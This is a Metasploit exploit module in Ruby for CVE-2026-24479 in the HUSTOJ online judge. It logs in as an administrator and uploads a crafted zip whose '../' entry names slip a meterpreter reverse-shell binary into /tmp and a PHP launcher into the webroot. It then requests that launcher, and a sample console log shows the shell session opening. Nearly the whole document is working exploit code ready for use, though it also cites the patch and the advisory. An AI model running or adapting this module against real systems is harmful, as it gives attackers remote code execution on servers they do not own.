### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework### This payload is configured for:# msfvenom -p linux/x86/meterpreter_reverse_tcp --format elf## Patch:# $file_name = $path.zip_entry_name($dir_resource);# $file_name=str_replace('../', '', $file_name);# $file_path = substr($file_name,0,strrpos($file_name, "/"));## msf exploit(local/test/hustoj_problem_import_rce) > exploit# [*] Started reverse TCP handler on 10.0.1.14:4444# [*] Generating payload...# [+] Payload generated!# [+] Zip file generated!# [+] Logged in successfully!# [*] Uploading the payload...# [+] Payload uploaded!...# [*] Waiting on files to be extracted serverside...# [*] This is where the zipslip happens...# [*] Triggering the php script...# [*] Meterpreter session 23 opened (10.0.1.14:4444 -> 10.0.1.25:57412) at 2026-02-09 14:24:36 -0500# [*] Twittle dee twittle dum, exploits a-workin, and we's bout to get us sum...## meterpreter >#require'msf/core'require'nokogiri'require'digest/md5'classMetasploit3<Msf::Exploit::RemoteRank=ExcellentRankingincludeMsf::Exploit::Remote::HttpClientprependMsf::Exploit::Remote::AutoCheckdefinitialize(info={})super(update_info(info,'Name'=>'An autheticated administrative user can upload a crafted zip file to drop a CGI shell in the webserver root to acheive RCE','Description'=>'A user with administrative priveleges can abuse the problem_import_qduoj.php CGI script in'\'a way, using a crafted zip file ah-la zip-slip to traverse backwards through the'\'filesystem to the webroot, where they can extract a php file containing a shell'\'to get full RCE in the context of the webserver','Author'=>['Marshall Whittaker',# exploit author'LoTuS and friends',# vuln software manual translation, thank you both, and god for bong rips.'ling101w'# vuln reporter],'License'=>MSF_LICENSE,'ARCH'=>[ARCH_X86],'References'=>[['URL','https://github.com/oxagast/oxasploits/blob/JoshuaJohnWard/exploits/CVE-2026-24479/hustoj_problem_import_rce.rb'],['URL','https://oxasploits.com/exploits/cve-2026-24479-hustoj-problem-import-rce.rb/'],['URL','https://github.com/zhblue/hustoj/commit/902bd09e6d0011fe89cd84d4236899314b33101f'],['URL','https://github.com/zhblue/hustoj/security/advisories/GHSA-xmgg-2rw4-7fxj'],['CVE','2026-24479'],['CWE','22']],'Platform'=>'linux','Targets'=>[['HUSTOJ < v26.01.24 (commit 89044beb4cea758a353fd133895dec76822f4ddc)',{'Privileged'=>false}]],'DefaultOptions'=>{'PAYLOAD'=>'linux/x86/meterpreter_reverse_tcp'# lets use a x86 meterpreter rev (others may work)},'Notes'=>{'Stability'=>[CRASH_SAFE],'Reliability'=>[REPEATABLE_SESSION],'SideEffects'=>[ARTIFACTS_ON_DISK,IOC_IN_LOGS]},'DisclosureDate'=>'2026-01-26','DefaultTarget'=>0))register_options([Opt::RPORT(80),Opt::LPORT(4444),OptString.new('RHOST',[true,"The target machine's IP",'']),OptString.new('LHOST',[true,"This machine's IP",'']),OptString.new('USERNAME',[true,"The HUSTOJ administrative user's username",'admin']),OptString.new('PASSWORD',[true,"The HUSTOJ administrative user's password",'']),OptInt.new('TRIGGER_WAIT',[true,'Number of seconds to wait for shell call',2])],self.class)register_advanced_options([OptBool.new('HANDLER',[true,'Start an exploit/multi/handler job to receive the connection',true])])deregister_options('VHOST','Proxies','RHOSTS','SSL')enddefcheckres=send_request_cgi('uri'=>'/include/reinfo.js','method'=>'GET','ctype'=>'application/javascript')returnExploit::CheckCode::Unknownifres.nil?returnExploit::CheckCode::Appearsifres.code!=200returnExploit::CheckCode::Detectedifres.code==200&&res.body.include?('function escapeHtml(str) {')returnExploit::CheckCode::Vulnerableifres.code==200&&res.body.include?('function escapeHtml(str) {')==falseExploit::CheckCode::Safeenddeflogin(user,pass)res=send_request_cgi({'uri'=>'/','method'=>'GET','keep_cookies'=>true,'ctype'=>'text/html'},3)ifresandres.code==200print_good('Connected to the target webserver!')elsefail_with(Failure::Unreachable,'Failed to connect to the target webserver!')end$cook=res.get_cookiessend_request_cgi('uri'=>'/csrf.php','cookies'=>$cook,'method'=>'GET','keep_cookies'=>true,'ctype'=>'text/html')send_request_cgi('uri'=>'/loginpage.php','method'=>'GET','keep_cookies'=>true,'ctype'=>'text/html')res=send_request_cgi('uri'=>'/csrf.php','cookies'=>$cook,'method'=>'GET','keep_cookies'=>true,'ctype'=>'text/html')doc=Nokogiri::HTML(res.body)$csrf=doc.css('input[name="csrf"]').first['value']res=send_request_cgi('method'=>'POST','cache-control'=>'max-age=0','accept'=>'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','upgrade-insecure-requests'=>'1','uri'=>'/login.php','cookies'=>$cook,'keep_cookies'=>true,'origin'=>"#{datastore['RHOST']}",'referer'=>"#{datastore['RHOST']}/loginpage.php",'ctype'=>'application/x-www-form-urlencoded','vars_post'=>{'user_id'=>user,'password'=>Digest::MD5.hexdigest(pass),'csrf'=>$csrf})res=send_request_cgi('method'=>'GET','uri'=>'/admin/','cookies'=>$cook,'keep_cookies'=>true,'referer'=>"#{datastore['RHOST']}/login.php")ifresandres.code==200print_good('Logged in successfully!')elsefail_with(Failure::BadConfig,'Failed to log in! Check your credentials and try again!')endenddefupload_payload(zip_dat)print_status('Uploading the payload...')res=send_request_cgi('method'=>'GET','cache-control'=>'max-age=0','upgrade-insecure-requests'=>'1','cookies'=>$cook,'keep_cookies'=>true,'origin'=>"#{datastore['RHOST']}",'referer'=>"#{datastore['RHOST']}/admin/",'uri'=>'/admin/problem_import.php','ctype'=>'text/html')doc=Nokogiri::HTML(res.body)pkey=doc.css('input[name="postkey"]').first['value']print_error('Failed to retrieve the postkey!')ifpkey.nil?||pkey==''res=send_request_cgi('method'=>'GET','cache-control'=>'max-age=0','upgrade-insecure-requests'=>'1','uri'=>'/csrf.php','cookies'=>$cook,'keep_cookies'=>true,'ctype'=>'text/html')doc=Nokogiri::HTML(res.body)$csrf=doc.css('input[name="csrf"]').first['value']if$csrf.nil?||$csrf==''fail_with(Failure::UnexpectedReply,'Failed to retrieve the csrf token! Is this HUSTOJ?')endres=send_request_cgi('method'=>'POST','cache-control'=>'max-age=0','accept'=>'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','upgrade-insecure-requests'=>'1','uri'=>'/admin/problem_import_qduoj.php','cookies'=>$cook,'keep_cookies'=>true,'origin'=>"#{datastore['RHOST']}",'referer'=>"#{datastore['RHOST']}/admin/problem_import.php",'ctype'=>'multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW','data'=>"------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"fps\"; filename=\"metasploit.zip\"\r\nContent-Type: application/zip\r\n\r\n#{zip_dat}\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=postkey\r\n\r\n#{pkey}\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--\r\n")ifres.code==200print_good('Payload uploaded!...')elseprint_error('Failed to upload the payload, trying again for a different revision...')res=send_request_cgi('method'=>'POST','cache-control'=>'max-age=0','accept'=>'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','upgrade-insecure-requests'=>'1','uri'=>'/admin/problem_import_qduoj.php','cookies'=>$cook,'keep_cookies'=>true,'origin'=>"#{datastore['RHOST']}",'referer'=>"#{datastore['RHOST']}/admin/problem_import.php",'ctype'=>'multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW','data'=>"------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"fps\"; filename=\"metasploit.zip\"\r\nContent-Type: application/zip\r\n\r\n#{zip_dat}\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\n")ifres.code==200print_good('Payload uploaded!...')elsefail_with(Failure::UnexpectedReply,'Failed to upload the payload!')endendprint_status('Waiting on files to be extracted serverside...')print_status('This is where the zipslip happens...')enddeftrigger_sploitprint_status('Triggering the php script...')print_good('Twittle dee twittle dum, exploits a-workin, and we\'s bout to get us sum...')send_request_raw({'uri'=>'/metasploit.php','ctype'=>'text/html','method'=>'GET'},datastore['TRIGGER_WAIT'])sleep(1)print_status('Running cleanup script to remove php file...')enddefexploitdummy_json='{"judgeMode":"default","languages":["Python3"],"samples":[{"input":"1.in","output":"1.out"},{"input":"2.in","output":"2.out"}],"tags":["blah"],"problem":{"auth":1,"author":"admin","isRemote":false,"problemId":"HOJ-1010","description":"","source":"","title":"","type":0,"timeLimit":1000,"memoryLimit":256,"input":"","output":"","difficulty":0,"examples":"","ioScore":100,"codeShare":true,"hint":"","isRemoveEndBlank":true,"openCaseResult":true,"judgeCaseMode":"default","isFileIO":false,"ioReadFileName":null,"ioWriteFileName":null},"codeTemplates":[{"code":"","language":"C"},{"code":"","language":"C++"}],"userExtraFile":{"testlib.h":"code","stdio.h":"..."},"judgeExtraFile":{"testlib.h":"code","stdio.h":"..."}}'pay=framework.modules.create(datastore['payload'])pay.datastore['LHOST']=datastore['LHOST']pay.datastore['RHOST']=datastore['RHOST']pay.datastore['LPORT']=datastore['LPORT']shell_gend=pay.generate_simple({'Format'=>'elf'})fail_with(Failure::PayloadFailed,'Payload generation failed! Try a different payload?')ifshell_gend==''print_good('Payload generated!')shell_caller="<?php chmod('/tmp/shell', 0700); system('/tmp/shell'); sleep(3); system('rm -f /home/judge/src/web/metasploit.php'); ?>"files=[{data: shell_gend,fname: '../../../../../../tmp/shell'},{data: shell_caller,fname: '../../../../../../home/judge/src/web/metasploit.php'},{data: dummy_json,fname: 'problem_1010.json'},{data: 'junk',fname: 'problem_1010/1.in'},{data: 'junk',fname: 'problem_1010/1.out'}]zip_dat=Msf::Util::EXE.to_zip(files)fail_with(Failure::Unknown,'Zip generation failed!')ifzip_dat==''print_good('Zip file generated!')login(datastore['USERNAME'],datastore['PASSWORD'])upload_payload(zip_dat)trigger_sploitendend